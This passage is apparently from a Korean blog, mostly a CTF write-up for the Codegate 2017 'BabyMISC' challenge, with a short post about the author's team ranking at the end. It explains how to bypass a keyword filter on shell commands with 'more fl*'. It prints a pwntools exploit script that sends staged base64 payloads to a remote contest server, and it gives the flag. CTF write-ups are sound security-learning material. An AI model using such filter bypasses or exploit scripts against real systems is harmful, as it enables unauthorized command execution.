 하지만 여기서 한 가지 문제점이 있다. 위 [그림 4]에 나와있듯이 sub_400E0B()함수에서 커맨드에 필터링을 하여 

명령어를 제한적으로 사용할 수 있다. "ls"명령어는 필터링되지 않아 사용할 수 있지만 "cat", "flag", "bin", "sh"등을 

필터링하여 플래그를 읽지지 못하도록 그리고 쉘을 따지 못하도록 한다. 하지만 이는 간단히 "more fl*"라는 명령으로 

우회할 수 있으며 아래 [그림 5]와 같이 flag를 출력하는 것을 확인할 수 있다.


[Exploit Code] - babymisc_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
import base64
 
context(arch='amd64',os='linux')
#local=True
local=False
 
if local:
    p = process("BabyMISC")
else:
    p = remote("110.10.212.138"19090)
 
binary = ELF("./BabyMISC")
 
raw_input()
 
def solve_stage1(payload):
    print p.recvuntil("[+] Input > ")
    p.send(payload+'\n')
 
def solve_stage2(payload1, payload2):
    print p.recvuntil("[+] Input 1 ")
    p.send(payload1+'\n')
    print p.recvuntil("[+] Input 2 ")
    p.send(payload2+'\n')
 
def solve_stage3(payload):
    command = base64.b64encode(payload)
    print p.recvuntil("[*] Input > ")
    p.send(command+'\n')
 
if __name__ == '__main__':
    payload1 = "TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5Oih=" # "~i=", "~j="
    solve_stage1(payload1)
    payload2_1 = "QUFBQQ=="; payload2_2 = "QUFBQQ======"
    solve_stage2(payload2_1, payload2_2)
    payload3 = "more fl*"
    solve_stage3(payload3)
    
    p.interactive()
 
cs

 


[Get Flag~~!!!!]

[그림 5] flag 확인("Nav3r_L3t_y0ur_L3ft_h4nd_kn0w_wh4t_y0ur_r1ghT_h4nd5_H4ck1ng")


끝~!





'CTF writeup' 카테고리의 다른 글

[Codegate CTF_2017] messenger(pwn)  (8) 2017.02.18
[Codegate CTF_2017] BabyPwn(pwn)  (0) 2017.02.18
[Christmas CTF_2016] who is solo(pwn)  (8) 2017.01.17
[BoB CTF_2016] megabox(pwn)  (2) 2017.01.10
[Christmas CTF_2016] StupidRSA(misc)  (0) 2016.12.26
Posted by holinder4S
2017. 2. 18. 21:56

## Codegate CTF_2017 ("KEEPER_2017"팀, 대학생부)


[Summary]

1. 재미있었다.

2. 12위로 안타깝게 본선에 진출하지 못했다. (11위까지 본선)

3. ㅠㅠ

4. 더 열심히 해야겠다...


[Ranking]

[그림 1] 대학생부 랭킹


[푼 문제]

[그림 2] 푼 문제들



Posted by holinder4S